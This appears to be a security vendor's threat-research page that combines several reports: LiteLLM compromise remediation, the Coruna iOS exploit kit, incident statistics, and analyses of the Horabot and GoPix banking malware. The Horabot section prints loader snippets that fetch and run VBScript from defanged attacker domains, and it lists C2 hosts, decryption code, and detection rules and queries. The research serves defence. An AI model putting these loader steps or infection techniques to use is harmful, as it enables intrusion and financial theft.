To protect corporate devices, we recommend using a complex solution such as Kaspersky NEXT, which allows you to build a flexible and effective security system. The products in this line provide threat visibility and real-time protection, as well as EDR and XDR capabilities for threat investigation and response.
At the time of writing, the compromised versions of LiteLLM had already been removed from PyPI and OpenVSX. If you have used them, and as a proactive response to the threat, we recommend taking the following measures on your systems and infrastructure:
Perform a full system scan using a reliable security solution.
Rotate all potentially compromised credentials: API keys, environment variables, SSH keys, Kubernetes service account tokens, and other secrets.
Check hosts and clusters for signs of compromise: the presence of ~/.config/sysmon/sysmon.py files and suspicious pods in Kubernetes.
Clear the cache and conduct an inventory of PyPI modules: check for malicious ones and roll back to clean versions.
Check for indicators of compromise (files on the system or network signs).
On March 4, 2026, Google and iVerify published reports about a highly sophisticated exploit kit targeting Apple iPhone devices. According to Google, the exploit kit was first discovered in targeted attacks conducted by a customer of an unnamed surveillance vendor. It was later used by other attackers in watering-hole attacks in Ukraine and in financially motivated attacks in China. Additionally, researchers discovered an instance with the debug version of the exploit kit, which revealed the internal names of the exploits and the framework name used by its developers — Coruna. Analysis of the kit showed that it relies on the exploitation of many previously patched vulnerabilities and also includes exploits for CVE-2023-32434 and CVE-2023-38606. These two vulnerabilities particularly caught our attention because they had been first discovered as zero-days used in Operation Triangulation.
Operation Triangulation is a complex mobile APT campaign targeting iOS devices. We discovered it while monitoring the network traffic of our own corporate Wi-Fi network. We noticed suspicious activity that originated from several iOS-based phones. Following the investigation, we learned that this campaign employed a sophisticated spyware implant and multiple zero-day exploits. The investigation lasted for over six months, during which we disclosed our findings in connection to the attack. Kaspersky GReAT experts also presented these findings at the 37th Chaos Communication Congress (37C3).
Although all the details of both CVE-2023-32434 and CVE-2023-38606 have long been publicly available, and other researchers have developed their own exploits without ever seeing the Triangulation code, we decided to closely investigate the exploits used in Coruna. Some of the exploit kit distribution links provided by Google remained active at the time the report was published, which allowed us to collect, decrypt, and analyze all components of Coruna.
During our analysis, we discovered that the kernel exploit for CVE-2023-32434 and CVE-2023-38606 vulnerabilities used in Coruna, in fact, is an updated version of the same exploit that had been used in Operation Triangulation. The images below illustrate a high-level overview of the two attack chains. The exploit in question is highlighted with a red rectangle.
Attack chain of Operation Triangulation (simplified)
Attack chain of Coruna (simplified)
Moreover, we discovered that Coruna includes four additional kernel exploits that we had not seen used in Operation Triangulation, two of which were developed after the discovery of Operation Triangulation. All of these exploits are built on the same kernel exploitation framework and share common code. Code similarities from kernel exploits can also be found in other components of Coruna. These findings led us to conclude that this exploit kit was not patchworked but rather designed with a unified approach. We assume that it’s an updated version of the same exploitation framework that was used — at least to some extent — in Operation Triangulation.
Technical details
While we continue to investigate all exploits and vulnerabilities used by Coruna, this post provides a high-level overview of the exploit kit and attack chain.
Safari
Exploitation begins with a stager that fingerprints the browser and selects and executes appropriate remote code execution (RCE) and pointer authentication code (PAC) exploits depending on the browser version. It also contains a URL to an encrypted file with information about all available packages containing exploits and other components. The stager also includes a 256-bit key used to decrypt it. The URL and decryption key are passed to a payload embedded in PAC exploits.
Payload
The payload is responsible for initiating the exploitation of the kernel. After initialization, the payload first downloads a file with information about other available components. To extract it, the payload performs several steps processing multiple file formats.
First, the downloaded file is decrypted using the ChaCha20 stream cipher. Decryption yields a container with the magic number 0xBEDF00D, which stores LZMA-compressed data.
The file format used by the exploit kit to store compressed data
Offset
Field
0x00
Magic number (0xBEDF00D)
0x04
Decompressed data size
0x08
LZMA-compressed data
The decompressed data presents another container with the magic number 0xF00DBEEF. This file format is used in the exploit kit to store and retrieve files by their IDs.
The file format used by the exploit kit to store files
Offset
Field
0x00
Magic number (0xF00DBEEF)
0x04
Number of entries
0x08
Entry[0].File ID
0x0C
Entry[0].Status
0x10
Entry[0].File offset
0x14
Entry[0].File size
We provide a description of all possible File ID values below. At this stage, when the payload gathers information about all available file packages, this container holds only one file, and its File ID is 0x70000.
Finally, we get to the file with information about all available file packages. It starts with the magic value 0x12345678. The exploit kit uses this file format to obtain URLs and decryption keys for additional components that need to be downloaded.
The file format used by the exploit kit to store information about file packages
Offset
Field
0x00
Magic number (0x12345678)
0x04
Flags
0x08
Directory path
0x108
Number of entries
0x10C
Entry[0].Package ID
0x110
Entry[0].ChaCha20 key
0x130
Entry[0].File name
The components required for exploiting a targeted device are selected using the Package ID. Its high byte specifies the package type and required hardware. We’ve seen the following package types:
0xF2 – exploit for ARM64,
0xF3 – exploit for ARM64E,
0xA2 – Mach-O loader for ARM64,
0xA3 – Mach-O loader for ARM64E,
2 – implant for ARM64,
0xE2 – implant for ARM64E.
The payload code also supports additional package types, such as 0xF1, an exploit for older ARM devices that do not support 64-bit architecture. Interestingly, however, the files for such exploits are missing.
Other bytes of the Package ID define the supported firmware version and CPU generation.
Some of the observed Package IDs (those with unique content)
Package ID
Description
0xF3300000
Kernel exploit (iOS < 14.0 beta 7) and other components
0xF3400000
Kernel exploit (iOS < 14.7) and other components
0xF3700000
Kernel exploit (iOS < 16.5 beta 4) and other components
0xF3800000
Kernel exploit (iOS < 16.6 beta 5) and other components
0xF3900000
Kernel exploit (iOS < 17.2) and other components
0xA3030000
Mach-O loader (iOS 16.X) (A13 – A16)
0xA3050000
Mach-O loader (iOS 16.0 – 16.4)
The files inside these packages are also stored in encrypted and compressed 0xF00DBEEF containers, but this time compression is optional and is determined by the second bit in the Flags field. Different packages contain different sets of files. A description of all possible File IDs is given in the table below.
Observed File IDs
File ID
Description
0x10000
Implant
0x50000
Mach-O loader (default)
0x70000
List of additional components
0x70005
Launcher config
0x80000
Launcher in 0xF2/0xF3 packages, or Mach-O loader in 0xA2/0xA3
0x90000
Kernel exploit
0x90001
Kernel exploit (for Mach-O loader)
0xA0000
Logs cleaner
0xA0001
Mach-O loader component
0xA0002
Mach-O loader component
0xF0000
RPC stager
After downloading the necessary components, the payload begins executing kernel exploits, Mach-O loaders, and the malware launcher. The payload selects an appropriate Mach-O loader based on the firmware version, CPU, and presence of the iokit-open-service permission.
Kernel exploits
We analyzed all five kernel exploits from the kit and discovered that one of them is an updated version of the same exploit we discovered in Operation Triangulation. There are many small changes, but the most noticeable are as follows:
The code takes into account more values from XNU version strings, allowing for more accurate version checking.
Added a check for iOS 17.2. We assume that this was the latest version of iOS at the time of development (released in December 2023).
Added checks for newer Apple processors: A17, M3, M3 Pro, M3 Max (released in fall 2023).
Added a check for iOS version 16.5 beta 4. This version patched the exploit after our report to Apple.
Why does the exploit need to check for iOS 17.2 and newer CPUs if the targeted vulnerabilities were fixed in iOS 16.5 beta 4? The answer can be found by examining other exploits: they are all based on the same source code. The only difference is in the vulnerabilities they exploit, so these checks were added to support the newer exploits and appeared in the older version after recompilation.
Launcher
The launcher is responsible for orchestrating the post-exploitation activities. It also uses the kernel exploit and the interface it provides. However, since the exploit creates special kernel objects during its execution that provide the ability to read and write to kernel memory, the launcher simply reuses these objects without the need to trigger vulnerabilities and go through the entire exploitation path again. The launcher cleans up exploitation artifacts, retrieves the process name for injection from a config with the 0xDEADD00F magic number, injects a stager into the target process, uses it to execute itself, and launches the implant.
Conclusions
This case demonstrates once again the dangers associated with such malicious tools that lie in their potential wide usage. Originally developed for cyber-espionage purposes, this framework is now being used by cybercriminals of a broader kind, placing millions of users with unpatched devices at risk. Given its modular design and ease of reuse, we expect that other threat actors will begin incorporating it into their attacks. We strongly recommend that users install the latest security updates as soon as possible, if they have not already done so.
Kaspersky Security Services provide a comprehensive cybersecurity ecosystem, taking enterprise threat protection to another level. Services like Kaspersky Managed Detection and Response and Compromise Assessment allow for timely detection of threats and cyberattacks. SOC Consulting provides a practical approach ensuring the corporate infrastructure stays secured, while Incident Response is suited for timely remediation with a maximized recovery rate.
High-level overview of the MDR, IR and CA connection
This new report brings together statistics across regions and industries from our Managed Detection and Response and Incident Response services, and for the first time, it also includes insights from our Compromise Assessment and SOC Consulting services — all to provide you with more comprehensive view of different aspects of corporate information security worldwide.
The scope of MDR and IR services
Provision of Kaspersky’s MDR and IR services follows a global approach. The majority of customers accounted for the CIS (34.7%), the Middle East (20.1%), and Europe (18.6%).
Distribution of customers by geographical region, 2025
MDR telemetry
Following the previous year’s numbers, in 2025, the MDR infrastructure received and processed an average of 15,000 telemetry events per host every day, generating security alerts as a result. These alerts are first processed by AI-powered detection logic, after which Kaspersky SOC analysts handle them as required. Overall, a total of approximately 400,000 alerts were generated in 2025. After counting out false positives, 39,000 alerts were further investigated.
MDR telemetry statistics, 2025
Incident statistics
The distribution of remediation requests by industry has slightly changed as compared to previous years’ pattern. Government (18.5%) and industrial (16.6%) organizations are still the most targeted industries in regards to cyberattacks that require incident response activities. However, this year, the IT sector saw a growth in the number of IR requests, eventually being placed third in the overall industry distribution rankings and thus replacing financial organizations, which were targeted less often than in 2024. This is equally true for smaller-scale attacks that can be contained and remediated through automated means — the only difference is that medium- and low-severity incidents are more often experienced by financial organizations.
Distribution of all incidents by industry sector, 2025
Key trends and statistics
This section presents key findings and trends in cyberattacks in 2025:
The number of high-severity incidents decreased, following a downward trend that we’ve been observing since 2021. The majority of those incidents account for APT attacks and red teaming exercises, which indicates two landscape trends. On the one hand, skilled adversaries make efforts to increase impact, while on the other, organizations spend more resources on probing their defense systems.
The most common vulnerabilities exploited in the wild were related to Microsoft products. Half of all identified CVEs led to remote code execution, notably without authentication in some cases.
Exploitation of public-facing applications, valid accounts, and trusted relationships remain the most popular initial vectors, and their overall share has increased, accounting to over 80% of all attacks in 2025. In particular, attacks through trusted relationships are evolving: their share has increased to 15.5% from 12.8% in 2024. They are also becoming more complex: for instance, we witnessed a case where adversaries had compromised more than two organizations in sequence to ultimately gain access to a third target.
Standard Windows utilities remain a popular LotL tool. Adversaries use those to minimize the risk of detection during delivery to a compromised system. The most popular LOLBins we observed in high-severity incidents were powershell.exe (14.4%), rundll32.exe (5.9%), and mshta.exe (3.8%). Among the most popular legitimate tools used in incidents we flag Mimikatz (14.3%), PowerShell (8.1%), PsExec (7.5%), and AnyDesk (7.5%).
The full 2026 Global Report provides additional information about cyberattacks, including real-world cases discovered by Kaspersky experts. We also describe SOC Consulting projects and Compromise Assessment requests. The report includes comprehensive analysis of initial attack vectors in correlation with the MITRE ATT&CK tactics and techniques and the full list of vulnerabilities that we detected during Incident Response engagements.
In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.
Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.
The starting point
As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.
The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.
The attack chain
After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.
Stage 1: Initial lure
Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).
Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/
Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:
This command retrieved and executed an HTA file that contained the following:
It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.
Stage 2: A pinch of server-side polymorphism
The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.
The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.
The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:
Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
Cleanup routines: removes temporary files and terminates selected processes.
During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.
As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.
Stage 3: The evil combination of AutoIT and a banking Trojan
It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.
The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.
We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:
The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.
It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.
It includes SQL commands used to harvest credentials from browsers.
Once loaded into memory, the Trojan sends several HTTP requests to different URLs:
HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)
The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)
The page containing the first stage leading to the spreader.
Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.
The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".
Key construction (left) and decryption logic (right)
We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:
def decrypt_string(encrypted_hex):
key_string = "0xFF0wx8066h"
key_index = 0
result = ""
current_key = int(encrypted_hex[0:2], 16)
i = 2
while i < len(encrypted_hex):
next_key = int(encrypted_hex[i:i+2], 16)
if key_index >= len(key_string):
key_index = 0
key_char = ord(key_string[key_index])
xored_value = next_key ^ key_char
if xored_value > current_key:
decrypted_char = xored_value - current_key
else:
decrypted_char = (xored_value + 0xFF) - current_key
result += chr(decrypted_char)
current_key = next_key
key_index += 1
i += 2
return result
Python implementation of the decryption routine
The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.
Direct pointer (left), indirect pointer (right)
Indexed strings via TStringList lookups
The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.
To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.
Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.
C2 socket address extraction
If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.
Fallback to hardcoded socket address (lifenews[.]pro:49569)
Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:
Extracting value 5 and 6 from the configuration
In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.
The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.
The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:
Comparison of “PING” and “Close” commands (sample disassembly on the left, Delphi Remote Access source code on the right)
Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.
The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.
After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):
Encryption routine sub_00A9F2D0
The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:
Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:
alert tcp any any -> any any ( \
msg:"Horabot C2 socket communication (##hex##)"; \
flow:established; \
content:"##"; depth:2; fast_pattern; \
content:"##"; endswith; \
pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
classtype:trojan-activity; \
sid:1900000; \
rev:1; \
metadata:author Domenico; \
)
As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.
Fake token overlay used for credential theft (right), with disassembly (left)
The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.
Below is a collage of pictures where the targeted bank overlays are visible.
Excerpt of decrypted fake overlays
Stage 4: The spreader
In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.
We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.
In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.
Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:
Harvest emails via the MAPI namespace;
Exfiltrate unique email addresses to the C2;
Clean up the outbox;
Filter the exfiltrated email addresses against a blocklist of keywords;
Prepare a phishing email containing a malicious PDF;
Mass-distribute the email to the filtered addresses.
One interesting point is that the spreader’s code and comments allow us to extract some useful intel:
All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”
Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.
Detection engineering and threat hunting opportunities
After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.
YARA rules
The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.
import "pe"
rule Horabot_Delphi_Trojan
{
meta:
author = "maT"
description = "Detects Horabot payload/trojan (Delphi DLL)"
hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
hash_02 = "4caa797130b5f7116f11c0b48013e430"
hash_03 = "c882d948d44a65019df54b0b2996677f"
condition:
uint32be(0) == 0x4d5a5000 and
filesize < 150MB and
pe.is_dll() and
pe.number_of_exports == 4 and
pe.exports("dbkFCallWrapperAddr") and
pe.exports("__dbk_fcall_wrapper") and
pe.exports("TMethodImplementationIntercept") and
pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}
rule Horabot_AutoIT_Loader
{
meta:
author = "maT"
description = "Detects AutoIT script used as a loader by Horabot"
strings:
$winapi_01 = "Advapi32.dll"
$winapi_02 = "CryptDeriveKey"
$winapi_03 = "CryptDecrypt"
$winapi_04 = "MemoryLoadLibrary"
$winapi_05 = "VirtualAlloc"
$winapi_06 = "DllCallAddress"
$str_seed = "99521487"
$str_func01 = "B080723_N"
$str_func02 = "A040822_1"
$opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
$opt_aes192 = "0x0000660f" // CALG_AES_192
$opt_md5 = "0x00008003" // CALG_MD5
condition:
filesize < 100KB and
all of ($winapi*) and
(
1 of ($str*) or
all of ($opt*)
)
}
Hunting queries
You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.
VirusTotal Intelligence
entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan
page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)
GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.
Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.
GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.
The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.
The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.
The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.
Initial infection
Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.
We have been monitoring this threat since 2023, and it continues to be very active for the time being.
When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.
Website shown if the user is detected as a bot or sandbox
However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:
JSON response from a malicious endpoint
The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.
WebSocket request to check if the port is open
This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.
Malware delivered through a malicious website
Infection chain
First-stage payload
If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.
Stolen certificate used to sign the malicious installer
The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.
NSIS installer code creating a batch file
However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.
The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.
It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.
Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).
GoPix delivery chain
Initial PowerShell script
This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.
System information collection
The information contained within this JSON is as follows:
Folder and file names to be created under the %APPDATA% directory
Obfuscated PowerShell script
Encrypted PowerShell script ps
Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
GoPix configuration file pf
Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.
Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.
Deobfuscated PowerShell script
Decrypted PowerShell script “ps”
The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.
PowerShell script shellcode jumps to the malware loader shellcode
